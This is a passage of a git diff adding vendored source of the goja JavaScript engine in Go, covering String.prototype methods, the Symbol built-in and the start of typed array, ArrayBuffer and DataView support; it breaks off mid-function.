sb.writeString(filler.Substring(0, remaining)) + } + if start { + sb.writeString(s) + } + + return sb.String() +} + +func (r *Runtime) stringproto_padEnd(call FunctionCall) Value { + return r._stringPad(call, false) +} + +func (r *Runtime) stringproto_padStart(call FunctionCall) Value { + return r._stringPad(call, true) +} + +func (r *Runtime) stringproto_repeat(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + n := call.Argument(0).ToNumber() + if n == _positiveInf { + panic(r.newError(r.getRangeError(), "Invalid count value")) + } + numInt := n.ToInteger() + if numInt < 0 { + panic(r.newError(r.getRangeError(), "Invalid count value")) + } + if numInt == 0 || s.Length() == 0 { + return stringEmpty + } + num := toIntStrict(numInt) + a, u := devirtualizeString(s) + if u == nil { + var sb strings.Builder + sb.Grow(len(a) * num) + for i := 0; i < num; i++ { + sb.WriteString(string(a)) + } + return asciiString(sb.String()) + } + + var sb unicodeStringBuilder + sb.Grow(u.Length() * num) + for i := 0; i < num; i++ { + sb.writeUnicodeString(u) + } + return sb.String() +} + +func getReplaceValue(replaceValue Value) (str String, rcall func(FunctionCall) Value) { + if replaceValue, ok := replaceValue.(*Object); ok { + if c, ok := replaceValue.self.assertCallable(); ok { + rcall = c + return + } + } + str = replaceValue.toString() + return +} + +func stringReplace(s String, found [][]int, newstring String, rcall func(FunctionCall) Value) Value { + if len(found) == 0 { + return s + } + + a, u := devirtualizeString(s) + + var buf StringBuilder + + lastIndex := 0 + lengthS := s.Length() + if rcall != nil { + for _, item := range found { + if item[0] != lastIndex { + buf.WriteSubstring(s, lastIndex, item[0]) + } + matchCount := len(item) / 2 + argumentList := make([]Value, matchCount+2) + for index := 0; index < matchCount; index++ { + offset := 2 * index + if item[offset] != -1 { + if u == nil { + argumentList[index] = a[item[offset]:item[offset+1]] + } else { + argumentList[index] = u.Substring(item[offset], item[offset+1]) + } + } else { + argumentList[index] = _undefined + } + } + argumentList[matchCount] = valueInt(item[0]) + argumentList[matchCount+1] = s + replacement := rcall(FunctionCall{ + This: _undefined, + Arguments: argumentList, + }).toString() + buf.WriteString(replacement) + lastIndex = item[1] + } + } else { + for _, item := range found { + if item[0] != lastIndex { + buf.WriteString(s.Substring(lastIndex, item[0])) + } + matchCount := len(item) / 2 + writeSubstitution(s, item[0], matchCount, func(idx int) String { + if item[idx*2] != -1 { + if u == nil { + return a[item[idx*2]:item[idx*2+1]] + } + return u.Substring(item[idx*2], item[idx*2+1]) + } + return stringEmpty + }, newstring, &buf) + lastIndex = item[1] + } + } + + if lastIndex != lengthS { + buf.WriteString(s.Substring(lastIndex, lengthS)) + } + + return buf.String() +} + +func (r *Runtime) stringproto_replace(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + searchValue := call.Argument(0) + replaceValue := call.Argument(1) + if _, ok := searchValue.(*Object); ok { + if replacer := toMethod(r.getV(searchValue, SymReplace)); replacer != nil { + return replacer(FunctionCall{ + This: searchValue, + Arguments: []Value{call.This, replaceValue}, + }) + } + } + + s := call.This.toString() + var found [][]int + searchStr := searchValue.toString() + pos := s.index(searchStr, 0) + if pos != -1 { + found = append(found, []int{pos, pos + searchStr.Length()}) + } + + str, rcall := getReplaceValue(replaceValue) + return stringReplace(s, found, str, rcall) +} + +func (r *Runtime) stringproto_replaceAll(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + searchValue := call.Argument(0) + replaceValue := call.Argument(1) + if o, ok := searchValue.(*Object); ok { + if isRegexp(searchValue) { + flags := nilSafe(o.self.getStr("flags", nil)) + r.checkObjectCoercible(flags) + if !strings.Contains(flags.toString().String(), "g") { + panic(r.NewTypeError("String.prototype.replaceAll called with a non-global RegExp argument")) + } + } + if replacer := toMethod(r.getV(searchValue, SymReplace)); replacer != nil { + return replacer(FunctionCall{ + This: searchValue, + Arguments: []Value{call.This, replaceValue}, + }) + } + } + + s := call.This.toString() + var found [][]int + searchStr := searchValue.toString() + searchLength := searchStr.Length() + advanceBy := toIntStrict(max(1, int64(searchLength))) + + pos := s.index(searchStr, 0) + for pos != -1 { + found = append(found, []int{pos, pos + searchLength}) + pos = s.index(searchStr, pos+advanceBy) + } + + str, rcall := getReplaceValue(replaceValue) + return stringReplace(s, found, str, rcall) +} + +func (r *Runtime) stringproto_search(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + regexp := call.Argument(0) + if _, ok := regexp.(*Object); ok { + if searcher := toMethod(r.getV(regexp, SymSearch)); searcher != nil { + return searcher(FunctionCall{ + This: regexp, + Arguments: []Value{call.This}, + }) + } + } + + var rx *regexpObject + if regexp, ok := regexp.(*Object); ok { + rx, _ = regexp.self.(*regexpObject) + } + + if rx == nil { + rx = r.newRegExp(regexp, nil, r.getRegExpPrototype()) + } + + if searcher, ok := r.toObject(rx.getSym(SymSearch, nil)).self.assertCallable(); ok { + return searcher(FunctionCall{ + This: rx.val, + Arguments: []Value{call.This.toString()}, + }) + } + + panic(r.NewTypeError("RegExp searcher is not a function")) +} + +func (r *Runtime) stringproto_slice(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + + l := int64(s.Length()) + start := call.Argument(0).ToInteger() + var end int64 + if arg1 := call.Argument(1); arg1 != _undefined { + end = arg1.ToInteger() + } else { + end = l + } + + if start < 0 { + start += l + if start < 0 { + start = 0 + } + } else { + if start > l { + start = l + } + } + + if end < 0 { + end += l + if end < 0 { + end = 0 + } + } else { + if end > l { + end = l + } + } + + if end > start { + return s.Substring(int(start), int(end)) + } + return stringEmpty +} + +func (r *Runtime) stringproto_split(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + separatorValue := call.Argument(0) + limitValue := call.Argument(1) + if _, ok := separatorValue.(*Object); ok { + if splitter := toMethod(r.getV(separatorValue, SymSplit)); splitter != nil { + return splitter(FunctionCall{ + This: separatorValue, + Arguments: []Value{call.This, limitValue}, + }) + } + } + s := call.This.toString() + + limit := -1 + if limitValue != _undefined { + limit = int(toUint32(limitValue)) + } + + separatorValue = separatorValue.ToString() + + if limit == 0 { + return r.newArrayValues(nil) + } + + if separatorValue == _undefined { + return r.newArrayValues([]Value{s}) + } + + separator := separatorValue.String() + + str := s.String() + splitLimit := limit + if limit > 0 { + splitLimit = limit + 1 + } + + // TODO handle invalid UTF-16 + split := strings.SplitN(str, separator, splitLimit) + + if limit > 0 && len(split) > limit { + split = split[:limit] + } + + valueArray := make([]Value, len(split)) + for index, value := range split { + valueArray[index] = newStringValue(value) + } + + return r.newArrayValues(valueArray) +} + +func (r *Runtime) stringproto_startsWith(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + searchString := call.Argument(0) + if isRegexp(searchString) { + panic(r.NewTypeError("First argument to String.prototype.startsWith must not be a regular expression")) + } + searchStr := searchString.toString() + l := int64(s.Length()) + var pos int64 + if posArg := call.Argument(1); posArg != _undefined { + pos = posArg.ToInteger() + } + start := toIntStrict(min(max(pos, 0), l)) + searchLength := searchStr.Length() + if int64(searchLength+start) > l { + return valueFalse + } + for i := 0; i < searchLength; i++ { + if s.CharAt(start+i) != searchStr.CharAt(i) { + return valueFalse + } + } + return valueTrue +} + +func (r *Runtime) stringproto_substring(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + + l := int64(s.Length()) + intStart := call.Argument(0).ToInteger() + var intEnd int64 + if end := call.Argument(1); end != _undefined { + intEnd = end.ToInteger() + } else { + intEnd = l + } + if intStart < 0 { + intStart = 0 + } else if intStart > l { + intStart = l + } + + if intEnd < 0 { + intEnd = 0 + } else if intEnd > l { + intEnd = l + } + + if intStart > intEnd { + intStart, intEnd = intEnd, intStart + } + + return s.Substring(int(intStart), int(intEnd)) +} + +func (r *Runtime) stringproto_toLowerCase(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + + return s.toLower() +} + +func (r *Runtime) stringproto_toUpperCase(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + + return s.toUpper() +} + +func (r *Runtime) stringproto_trim(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + + // TODO handle invalid UTF-16 + return newStringValue(strings.Trim(s.String(), parser.WhitespaceChars)) +} + +func (r *Runtime) stringproto_trimEnd(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + + // TODO handle invalid UTF-16 + return newStringValue(strings.TrimRight(s.String(), parser.WhitespaceChars)) +} + +func (r *Runtime) stringproto_trimStart(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + + // TODO handle invalid UTF-16 + return newStringValue(strings.TrimLeft(s.String(), parser.WhitespaceChars)) +} + +func (r *Runtime) stringproto_substr(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + start := call.Argument(0).ToInteger() + var length int64 + sl := int64(s.Length()) + if arg := call.Argument(1); arg != _undefined { + length = arg.ToInteger() + } else { + length = sl + } + + if start < 0 { + start = max(sl+start, 0) + } + + length = min(max(length, 0), sl-start) + if length <= 0 { + return stringEmpty + } + + return s.Substring(int(start), int(start+length)) +} + +func (r *Runtime) stringIterProto_next(call FunctionCall) Value { + thisObj := r.toObject(call.This) + if iter, ok := thisObj.self.(*stringIterObject); ok { + return iter.next() + } + panic(r.NewTypeError("Method String Iterator.prototype.next called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) +} + +func (r *Runtime) createStringIterProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.getIteratorPrototype(), classObject) + + o._putProp("next", r.newNativeFunc(r.stringIterProto_next, "next", 0), true, false, true) + o._putSym(SymToStringTag, valueProp(asciiString(classStringIterator), false, false, true)) + + return o +} + +func (r *Runtime) getStringIteratorPrototype() *Object { + var o *Object + if o = r.global.StringIteratorPrototype; o == nil { + o = &Object{runtime: r} + r.global.StringIteratorPrototype = o + o.self = r.createStringIterProto(o) + } + return o +} + +func createStringProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("length", func(r *Runtime) Value { return valueProp(intToValue(0), false, false, false) }) + + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getString(), true, false, true) }) + + t.putStr("at", func(r *Runtime) Value { return r.methodProp(r.stringproto_at, "at", 1) }) + t.putStr("charAt", func(r *Runtime) Value { return r.methodProp(r.stringproto_charAt, "charAt", 1) }) + t.putStr("charCodeAt", func(r *Runtime) Value { return r.methodProp(r.stringproto_charCodeAt, "charCodeAt", 1) }) + t.putStr("codePointAt", func(r *Runtime) Value { return r.methodProp(r.stringproto_codePointAt, "codePointAt", 1) }) + t.putStr("concat", func(r *Runtime) Value { return r.methodProp(r.stringproto_concat, "concat", 1) }) + t.putStr("endsWith", func(r *Runtime) Value { return r.methodProp(r.stringproto_endsWith, "endsWith", 1) }) + t.putStr("includes", func(r *Runtime) Value { return r.methodProp(r.stringproto_includes, "includes", 1) }) + t.putStr("indexOf", func(r *Runtime) Value { return r.methodProp(r.stringproto_indexOf, "indexOf", 1) }) + t.putStr("lastIndexOf", func(r *Runtime) Value { return r.methodProp(r.stringproto_lastIndexOf, "lastIndexOf", 1) }) + t.putStr("localeCompare", func(r *Runtime) Value { return r.methodProp(r.stringproto_localeCompare, "localeCompare", 1) }) + t.putStr("match", func(r *Runtime) Value { return r.methodProp(r.stringproto_match, "match", 1) }) + t.putStr("matchAll", func(r *Runtime) Value { return r.methodProp(r.stringproto_matchAll, "matchAll", 1) }) + t.putStr("normalize", func(r *Runtime) Value { return r.methodProp(r.stringproto_normalize, "normalize", 0) }) + t.putStr("padEnd", func(r *Runtime) Value { return r.methodProp(r.stringproto_padEnd, "padEnd", 1) }) + t.putStr("padStart", func(r *Runtime) Value { return r.methodProp(r.stringproto_padStart, "padStart", 1) }) + t.putStr("repeat", func(r *Runtime) Value { return r.methodProp(r.stringproto_repeat, "repeat", 1) }) + t.putStr("replace", func(r *Runtime) Value { return r.methodProp(r.stringproto_replace, "replace", 2) }) + t.putStr("replaceAll", func(r *Runtime) Value { return r.methodProp(r.stringproto_replaceAll, "replaceAll", 2) }) + t.putStr("search", func(r *Runtime) Value { return r.methodProp(r.stringproto_search, "search", 1) }) + t.putStr("slice", func(r *Runtime) Value { return r.methodProp(r.stringproto_slice, "slice", 2) }) + t.putStr("split", func(r *Runtime) Value { return r.methodProp(r.stringproto_split, "split", 2) }) + t.putStr("startsWith", func(r *Runtime) Value { return r.methodProp(r.stringproto_startsWith, "startsWith", 1) }) + t.putStr("substring", func(r *Runtime) Value { return r.methodProp(r.stringproto_substring, "substring", 2) }) + t.putStr("toLocaleLowerCase", func(r *Runtime) Value { return r.methodProp(r.stringproto_toLowerCase, "toLocaleLowerCase", 0) }) + t.putStr("toLocaleUpperCase", func(r *Runtime) Value { return r.methodProp(r.stringproto_toUpperCase, "toLocaleUpperCase", 0) }) + t.putStr("toLowerCase", func(r *Runtime) Value { return r.methodProp(r.stringproto_toLowerCase, "toLowerCase", 0) }) + t.putStr("toString", func(r *Runtime) Value { return r.methodProp(r.stringproto_toString, "toString", 0) }) + t.putStr("toUpperCase", func(r *Runtime) Value { return r.methodProp(r.stringproto_toUpperCase, "toUpperCase", 0) }) + t.putStr("trim", func(r *Runtime) Value { return r.methodProp(r.stringproto_trim, "trim", 0) }) + t.putStr("trimEnd", func(r *Runtime) Value { return valueProp(r.getStringproto_trimEnd(), true, false, true) }) + t.putStr("trimStart", func(r *Runtime) Value { return valueProp(r.getStringproto_trimStart(), true, false, true) }) + t.putStr("trimRight", func(r *Runtime) Value { return valueProp(r.getStringproto_trimEnd(), true, false, true) }) + t.putStr("trimLeft", func(r *Runtime) Value { return valueProp(r.getStringproto_trimStart(), true, false, true) }) + t.putStr("valueOf", func(r *Runtime) Value { return r.methodProp(r.stringproto_valueOf, "valueOf", 0) }) + + // Annex B + t.putStr("substr", func(r *Runtime) Value { return r.methodProp(r.stringproto_substr, "substr", 2) }) + + t.putSym(SymIterator, func(r *Runtime) Value { + return valueProp(r.newNativeFunc(r.stringproto_iterator, "[Symbol.iterator]", 0), true, false, true) + }) + + return t +} + +func (r *Runtime) getStringproto_trimEnd() *Object { + ret := r.global.stringproto_trimEnd + if ret == nil { + ret = r.newNativeFunc(r.stringproto_trimEnd, "trimEnd", 0) + r.global.stringproto_trimEnd = ret + } + return ret +} + +func (r *Runtime) getStringproto_trimStart() *Object { + ret := r.global.stringproto_trimStart + if ret == nil { + ret = r.newNativeFunc(r.stringproto_trimStart, "trimStart", 0) + r.global.stringproto_trimStart = ret + } + return ret +} + +func (r *Runtime) getStringSingleton() *stringObject { + ret := r.stringSingleton + if ret == nil { + ret = r.builtin_new(r.getString(), nil).self.(*stringObject) + r.stringSingleton = ret + } + return ret +} + +func (r *Runtime) getString() *Object { + ret := r.global.String + if ret == nil { + ret = &Object{runtime: r} + r.global.String = ret + proto := r.getStringPrototype() + o := r.newNativeFuncAndConstruct(ret, r.builtin_String, r.wrapNativeConstruct(r.builtin_newString, ret, proto), proto, "String", intToValue(1)) + ret.self = o + o._putProp("fromCharCode", r.newNativeFunc(r.string_fromcharcode, "fromCharCode", 1), true, false, true) + o._putProp("fromCodePoint", r.newNativeFunc(r.string_fromcodepoint, "fromCodePoint", 1), true, false, true) + o._putProp("raw", r.newNativeFunc(r.string_raw, "raw", 1), true, false, true) + } + return ret +} + +var stringProtoTemplate *objectTemplate +var stringProtoTemplateOnce sync.Once + +func getStringProtoTemplate() *objectTemplate { + stringProtoTemplateOnce.Do(func() { + stringProtoTemplate = createStringProtoTemplate() + }) + return stringProtoTemplate +} + +func (r *Runtime) getStringPrototype() *Object { + ret := r.global.StringPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.StringPrototype = ret + o := r.newTemplatedObject(getStringProtoTemplate(), ret) + o.class = classString + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_symbol.go b/backend/vendor/github.com/dop251/goja/builtin_symbol.go new file mode 100644 index 0000000..8231b7b --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_symbol.go @@ -0,0 +1,177 @@ +package goja + +import "github.com/dop251/goja/unistring" + +var ( + SymHasInstance = newSymbol(asciiString("Symbol.hasInstance")) + SymIsConcatSpreadable = newSymbol(asciiString("Symbol.isConcatSpreadable")) + SymIterator = newSymbol(asciiString("Symbol.iterator")) + SymMatch = newSymbol(asciiString("Symbol.match")) + SymMatchAll = newSymbol(asciiString("Symbol.matchAll")) + SymReplace = newSymbol(asciiString("Symbol.replace")) + SymSearch = newSymbol(asciiString("Symbol.search")) + SymSpecies = newSymbol(asciiString("Symbol.species")) + SymSplit = newSymbol(asciiString("Symbol.split")) + SymToPrimitive = newSymbol(asciiString("Symbol.toPrimitive")) + SymToStringTag = newSymbol(asciiString("Symbol.toStringTag")) + SymUnscopables = newSymbol(asciiString("Symbol.unscopables")) +) + +func (r *Runtime) builtin_symbol(call FunctionCall) Value { + var desc String + if arg := call.Argument(0); !IsUndefined(arg) { + desc = arg.toString() + } + return newSymbol(desc) +} + +func (r *Runtime) symbolproto_tostring(call FunctionCall) Value { + sym, ok := call.This.(*Symbol) + if !ok { + if obj, ok := call.This.(*Object); ok { + if v, ok := obj.self.(*primitiveValueObject); ok { + if sym1, ok := v.pValue.(*Symbol); ok { + sym = sym1 + } + } + } + } + if sym == nil { + panic(r.NewTypeError("Method Symbol.prototype.toString is called on incompatible receiver")) + } + return sym.descriptiveString() +} + +func (r *Runtime) symbolproto_valueOf(call FunctionCall) Value { + _, ok := call.This.(*Symbol) + if ok { + return call.This + } + + if obj, ok := call.This.(*Object); ok { + if v, ok := obj.self.(*primitiveValueObject); ok { + if sym, ok := v.pValue.(*Symbol); ok { + return sym + } + } + } + + panic(r.NewTypeError("Symbol.prototype.valueOf requires that 'this' be a Symbol")) +} + +func (r *Runtime) symbol_for(call FunctionCall) Value { + key := call.Argument(0).toString() + keyStr := key.string() + if v := r.symbolRegistry[keyStr]; v != nil { + return v + } + if r.symbolRegistry == nil { + r.symbolRegistry = make(map[unistring.String]*Symbol) + } + v := newSymbol(key) + r.symbolRegistry[keyStr] = v + return v +} + +func (r *Runtime) symbol_keyfor(call FunctionCall) Value { + arg := call.Argument(0) + sym, ok := arg.(*Symbol) + if !ok { + panic(r.NewTypeError("%s is not a symbol", arg.String())) + } + for key, s := range r.symbolRegistry { + if s == sym { + return stringValueFromRaw(key) + } + } + return _undefined +} + +func (r *Runtime) thisSymbolValue(v Value) *Symbol { + if sym, ok := v.(*Symbol); ok { + return sym + } + if obj, ok := v.(*Object); ok { + if pVal, ok := obj.self.(*primitiveValueObject); ok { + if sym, ok := pVal.pValue.(*Symbol); ok { + return sym + } + } + } + panic(r.NewTypeError("Value is not a Symbol")) +} + +func (r *Runtime) createSymbolProto(val *Object) objectImpl { + o := &baseObject{ + class: classObject, + val: val, + extensible: true, + prototype: r.global.ObjectPrototype, + } + o.init() + + o._putProp("constructor", r.getSymbol(), true, false, true) + o.setOwnStr("description", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(func(call FunctionCall) Value { + return r.thisSymbolValue(call.This).desc + }, "get description", 0), + accessor: true, + }, false) + o._putProp("toString", r.newNativeFunc(r.symbolproto_tostring, "toString", 0), true, false, true) + o._putProp("valueOf", r.newNativeFunc(r.symbolproto_valueOf, "valueOf", 0), true, false, true) + o._putSym(SymToPrimitive, valueProp(r.newNativeFunc(r.symbolproto_valueOf, "[Symbol.toPrimitive]", 1), false, false, true)) + o._putSym(SymToStringTag, valueProp(newStringValue("Symbol"), false, false, true)) + + return o +} + +func (r *Runtime) createSymbol(val *Object) objectImpl { + o := r.newNativeFuncAndConstruct(val, r.builtin_symbol, func(args []Value, newTarget *Object) *Object { + panic(r.NewTypeError("Symbol is not a constructor")) + }, r.getSymbolPrototype(), "Symbol", _positiveZero) + + o._putProp("for", r.newNativeFunc(r.symbol_for, "for", 1), true, false, true) + o._putProp("keyFor", r.newNativeFunc(r.symbol_keyfor, "keyFor", 1), true, false, true) + + for _, s := range []*Symbol{ + SymHasInstance, + SymIsConcatSpreadable, + SymIterator, + SymMatch, + SymMatchAll, + SymReplace, + SymSearch, + SymSpecies, + SymSplit, + SymToPrimitive, + SymToStringTag, + SymUnscopables, + } { + n := s.desc.(asciiString) + n = n[len("Symbol."):] + o._putProp(unistring.String(n), s, false, false, false) + } + + return o +} + +func (r *Runtime) getSymbolPrototype() *Object { + ret := r.global.SymbolPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.SymbolPrototype = ret + ret.self = r.createSymbolProto(ret) + } + return ret +} + +func (r *Runtime) getSymbol() *Object { + ret := r.global.Symbol + if ret == nil { + ret = &Object{runtime: r} + r.global.Symbol = ret + ret.self = r.createSymbol(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_typedarrays.go b/backend/vendor/github.com/dop251/goja/builtin_typedarrays.go new file mode 100644 index 0000000..23270ae --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_typedarrays.go @@ -0,0 +1,1973 @@ +package goja + +import ( + "fmt" + "math" + "sort" + "strings" + "sync" + "unsafe" + + "github.com/dop251/goja/unistring" +) + +type typedArraySortCtx struct { + ta *typedArrayObject + compare func(FunctionCall) Value + needValidate bool + detached bool +} + +func (ctx *typedArraySortCtx) Len() int { + return ctx.ta.length +} + +func (ctx *typedArraySortCtx) checkDetached() { + if !ctx.detached && ctx.needValidate { + ctx.detached = !ctx.ta.viewedArrayBuf.ensureNotDetached(false) + ctx.needValidate = false + } +} + +func (ctx *typedArraySortCtx) Less(i, j int) bool { + ctx.checkDetached() + if ctx.detached { + return false + } + offset := ctx.ta.offset + if ctx.compare != nil { + x := ctx.ta.typedArray.get(offset + i) + y := ctx.ta.typedArray.get(offset + j) + res := ctx.compare(FunctionCall{ + This: _undefined, + Arguments: []Value{x, y}, + }).ToNumber() + ctx.needValidate = true + if i, ok := res.(valueInt); ok { + return i < 0 + } + f := res.ToFloat() + if f < 0 { + return true + } + if f > 0 { + return false + } + if math.Signbit(f) { + return true + } + return false + } + + return ctx.ta.typedArray.less(offset+i, offset+j) +} + +func (ctx *typedArraySortCtx) Swap(i, j int) { + ctx.checkDetached() + if ctx.detached { + return + } + offset := ctx.ta.offset + ctx.ta.typedArray.swap(offset+i, offset+j) +} + +func allocByteSlice(size int) (b []byte) { + defer func() { + if x := recover(); x != nil { + panic(rangeError(fmt.Sprintf("Buffer size is too large: %d", size))) + } + }() + if size < 0 { + panic(rangeError(fmt.Sprintf("Invalid buffer size: %d", size))) + } + b = make([]byte, size) + return +} + +func (r *Runtime) builtin_newArrayBuffer(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("ArrayBuffer")) + } + b := r._newArrayBuffer(r.getPrototypeFromCtor(newTarget, r.getArrayBuffer(), r.getArrayBufferPrototype()), nil) + if len(args) > 0 { + b.data = allocByteSlice(r.toIndex(args[0])) + } + return b.val +} + +func (r *Runtime) arrayBufferProto_getByteLength(call FunctionCall) Value { + o := r.toObject(call.This) + if b, ok := o.self.(*arrayBufferObject); ok { + if b.ensureNotDetached(false) { + return intToValue(int64(len(b.data))) + } + return intToValue(0) + } + panic(r.NewTypeError("Object is not ArrayBuffer: %s", o)) +} + +func (r *Runtime) arrayBufferProto_slice(call FunctionCall) Value { + o := r.toObject(call.This) + if b, ok := o.self.(*arrayBufferObject); ok { + l := int64(len(b.data)) + start := relToIdx(call.Argument(0).ToInteger(), l) + var stop int64 + if arg := call.Argument(1); arg != _undefined { + stop = arg.ToInteger() + } else { + stop = l + } + stop = relToIdx(stop, l) + newLen := max(stop-start, 0) + ret := r.speciesConstructor(o, r.getArrayBuffer())([]Value{intToValue(newLen)}, nil) + if ab, ok := ret.self.(*arrayBufferObject); ok { + if newLen > 0 { + b.ensureNotDetached(true) + if ret == o { + panic(r.NewTypeError("Species constructor returned the same ArrayBuffer")) + } + if int64(len(ab.data)) < newLen { + panic(r.NewTypeError("Species constructor returned an ArrayBuffer that is too small: %d", len(ab.data))) + } + ab.ensureNotDetached(true) + copy(ab.data, b.data[start:stop]) + } + return ret + } + panic(r.NewTypeError("Species constructor did not return an ArrayBuffer: %s", ret.String())) + } + panic(r.NewTypeError("Object is not ArrayBuffer: %s", o)) +} + +func (r *Runtime) arrayBuffer_isView(call FunctionCall) Value { + if o, ok := call.Argument(0).(*Object); ok { + if _, ok := o.self.(*dataViewObject); ok { + return valueTrue + } + if _, ok := o.self.(*typedArrayObject); ok { + return valueTrue + } + } + return valueFalse +} + +func (r *Runtime) newDataView(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("DataView")) + } + var bufArg Value + if len(args) > 0 { + bufArg = args[0] + } + var buffer *arrayBufferObject + if o, ok := bufArg.(*Object); ok { + if b, ok := o.self.(*arrayBufferObject); ok { + buffer = b + } + } + if buffer == nil { + panic(r.NewTypeError("First argument to DataView constructor must be an ArrayBuffer")) + } + var byteOffset, byteLen int + if len(args) > 1 { + offsetArg := nilSafe(args[1]) + byteOffset = r.toIndex(offsetArg) + buffer.ensureNotDetached(true) + if byteOffset > len(buffer.data) { + panic(r.newError(r.getRangeError(), "Start offset %s is outside the bounds of the buffer", offsetArg.String())) + } + } + if len(args) > 2 && args[2] != nil && args[2] != _undefined { + byteLen = r.toIndex(args[2]) + if byteOffset+byteLen > len(buffer.data) { + panic(r.newError(r.getRangeError(), "Invalid DataView length %d", byteLen)) + } + } else { + byteLen = len(buffer.data) - byteOffset + } + proto := r.getPrototypeFromCtor(newTarget, r.getDataView(), r.getDataViewPrototype()) + buffer.ensureNotDetached(true) + if byteOffset > len(buffer.data) { + panic(r.newError(r.getRangeError(), "Start offset %d is outside the bounds of the buffer", byteOffset)) + } + if byteOffset+byteLen > len(buffer.data) { + panic(r.newError(r.getRangeError(), "Invalid DataView length %d", byteLen)) + } + o := &Object{runtime: r} + b := &dataViewObject{ + baseObject: baseObject{ + class: classObject, + val: o, + prototype: proto, + extensible: true, + }, + viewedArrayBuf: buffer, + byteOffset: byteOffset, + byteLen: byteLen, + } + o.self = b + b.init() + return o +} + +func (r *Runtime) dataViewProto_getBuffer(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return dv.viewedArrayBuf.val + } + panic(r.NewTypeError("Method get DataView.prototype.buffer called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getByteLen(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + dv.viewedArrayBuf.ensureNotDetached(true) + return intToValue(int64(dv.byteLen)) + } + panic(r.NewTypeError("Method get DataView.prototype.byteLength called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getByteOffset(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + dv.viewedArrayBuf.ensureNotDetached(true) + return intToValue(int64(dv.byteOffset)) + } + panic(r.NewTypeError("Method get DataView.prototype.byteOffset called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getFloat32(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return floatToValue(float64(dv.viewedArrayBuf.getFloat32(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 4)))) + } + panic(r.NewTypeError("Method DataView.prototype.getFloat32 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getFloat64(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return floatToValue(dv.viewedArrayBuf.getFloat64(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 8))) + } + panic(r.NewTypeError("Method DataView.prototype.getFloat64 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getInt8(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idx, _ := dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 1) + return intToValue(int64(dv.viewedArrayBuf.getInt8(idx))) + } + panic(r.NewTypeError("Method DataView.prototype.getInt8 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getInt16(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return intToValue(int64(dv.viewedArrayBuf.getInt16(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 2)))) + } + panic(r.NewTypeError("Method DataView.prototype.getInt16 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getInt32(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return intToValue(int64(dv.viewedArrayBuf.getInt32(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 4)))) + } + panic(r.NewTypeError("Method DataView.prototype.getInt32 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getUint8(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idx, _ := dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 1) + return intToValue(int64(dv.viewedArrayBuf.getUint8(idx))) + } + panic(r.NewTypeError("Method DataView.prototype.getUint8 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getUint16(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return 